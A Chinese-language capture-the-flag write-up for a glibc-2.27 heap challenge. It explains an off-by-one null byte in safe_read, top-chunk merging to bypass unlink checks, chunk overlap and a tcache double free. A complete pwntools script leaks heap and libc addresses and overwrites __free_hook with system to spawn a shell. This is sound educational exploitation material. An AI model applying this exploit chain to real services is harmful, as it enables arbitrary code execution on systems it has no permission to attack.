source writeup – 利用 top chunk 巧妙绕过检查

该程序对于输入有很严格的控制,使得我们很难手动编辑出一个 prev_size ,靶机环境是 glibc-2.27 。

源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/source.zip

安全防护

ex@Ex:~/temp2$ checksec source
[*] '/home/ex/temp2/source'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出点

void __fastcall safe_read(char *a1, int a2)
{
  unsigned int v2; // [rsp+14h] [rbp-Ch]

  v2 = 0;
  if ( a2 )
  {
    while ( 1 )
    {
      read(0, &a1[v2], 1uLL);
      if ( a2 - 1 < v2 || !a1[v2] || a1[v2] == 10 )
        break;
      ++v2;
    }
    a1[v2] = 0;
    a1[a2] = 0;
  }
  else
  {
    *a1 = 0;
  }
}

safe_read函数存在off by one,由于malloc的size是固定的,而且chunk大小恰好是0x100,由于存在null 截断,所以我们很难构造prev_size

思路

利用unlink来构造prev_size,然后off by one使得chunk overlap,然后double free,最重要的是利用top chunk来保存prev_size和绕过unlink的检查。

First: 利用unlink来构造prev_size

for i in range(10):
    malloc(0xf0, '\n')

for i in range(9):
    free(i)

free(9)

调试结果如下:

pwndbg> heap
...
0x55cc3f095a00 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 513, 
  fd = 0x7fdc14b3fca0 <main_arena+96>, 
  bk = 0x7fdc14b3fca0 <main_arena+96>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55cc3f095c00 {
  mchunk_prev_size = 512, 
  mchunk_size = 256, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55cc3f095d00 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 131841, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

注意这里必须要让最后一个chunktop chunk相邻,这样在free的时候会直接和top chunk合并,否则放入unsorted bin的话,下次malloc出来时prev_size会被冲刷掉。

Secondoff by one使得chunk overlap

for i in range(10):
    malloc(0xf0, '\n')

for i in range(7):
    free(i)

free(7)
malloc(0xf0, '\n') # 0

free(8)
# off by one
malloc(0xf8, '\n') # 1
free(0)
# chunk overlap
free(9)

其调试结果如下:

pwndbg> heap
...
0x55cc3f095a00 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 257, 
  fd = 0x7fdc14b3fca0 <main_arena+96>, 
  bk = 0x7fdc14b3fca0 <main_arena+96>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55cc3f095b00 {
  mchunk_prev_size = 256, 
  mchunk_size = 256, 
  fd = 0x55cc3f095400, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55cc3f095c00 {
  mchunk_prev_size = 512, 
  mchunk_size = 256, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x55cc3f095d00 PREV_INUSE {
  mchunk_prev_size = 0, 
  mchunk_size = 131841, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
pwndbg> x/22gx 0x55cc3f095250
0x55cc3f095250: 0x0000000000000000  0x00000000000000b1
0x55cc3f095260: 0x0000000000000000  0x0000000000000000
0x55cc3f095270: 0x000055cc3f095b10  0x00000000000000f8
0x55cc3f095280: 0x0000000000000000  0x0000000000000000
0x55cc3f095290: 0x0000000000000000  0x0000000000000000
0x55cc3f0952a0: 0x0000000000000000  0x0000000000000000
0x55cc3f0952b0: 0x0000000000000000  0x0000000000000000
0x55cc3f0952c0: 0x0000000000000000  0x0000000000000000
0x55cc3f0952d0: 0x0000000000000000  0x0000000000000000
0x55cc3f0952e0: 0x0000000000000000  0x0000000000000000
0x55cc3f0952f0: 0x000055cc3f095c10  0x00000000000000f0
pwndbg> bin
tcachebins
0x100 [  7]: 0x55cc3f095310 —▸ 0x55cc3f095410 —▸ 0x55cc3f095510 —▸ 0x55cc3f095610 —▸ 0x55cc3f095710 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55cc3f095a00 —▸ 0x7fdc14b3fca0 (main_arena+96) ◂— 0x55cc3f095a00
smallbins
empty
largebins
empty
pwndbg> 

这里要注意,由于要chunk overlap的中间仅有一个chunk,原本是过不了检查的,但是由于要freechunktop chunk相邻,使得其直接和top chunk合并,最终巧妙的绕过检查。

End: 完成上面的工作后,之后便是用double free泄露信息,劫持hook。

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''

    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    # os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './source'
# execve_file = './secret_of_my_heart.bak'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('chall.pwnable.tw', 10402)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def malloc(size, content):
    sh.sendafter('which command?\n> ', '1'.ljust(4, '\0'))
    sh.sendafter('size \n> ', str(size).ljust(4, '\0'))
    sh.sendafter('content \n> ', content)

def free(index):
    sh.sendafter('which command?\n> ', '2'.ljust(4, '\0'))
    sh.sendafter('index \n> ', str(index).ljust(4, '\0'))

def puts(index):
    sh.sendafter('which command?\n> ', '3'.ljust(4, '\0'))
    sh.sendafter('index \n> ', str(index).ljust(4, '\0'))

for i in range(10):
    malloc(0xf0, '\n')

for i in range(9):
    free(i)

free(9)

for i in range(10):
    malloc(0xf0, '\n')

for i in range(7):
    free(i)

free(7)
malloc(0xf0, '\n') # 0

free(8) 
# off by one
malloc(0xf8, '\n') # 1
free(0) 
# chunk overlap
free(9)

for i in range(9):
    malloc(0xf0, '/bin/sh\0')

free(0)
free(1)

puts(9)

result = sh.recvline()[:-1]
heap_addr = u64(result.ljust(8, '\0')) - 0x310
log.success('heap_addr: ' + hex(heap_addr))

malloc(0xf0, '\0') # 0

free(2)
free(3)
free(4)
free(5)

# double free
free(0)
free(9)

malloc(0xf0, p64(heap_addr + 0x260))

malloc(0xf0, p64(0))

malloc(0x8, p64(heap_addr + 0xa18)[:7])

puts(0)

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

# double free
free(1)

malloc(0xf0, p64(heap_addr + 0x260))
malloc(0xf0, p64(0))
malloc(0x8, p64(heap_addr + 0xa10)[:7])

# double free
free(1)
free(3)
malloc(0x8, p64(libc_addr + libc.symbols['__free_hook'])[:7])
malloc(0xf0, '\0')
malloc(0x8, p64(libc_addr + libc.symbols['system'])[:7])

free(0)

sh.interactive()
clear()

说点什么

avatar
  Subscribe  
提醒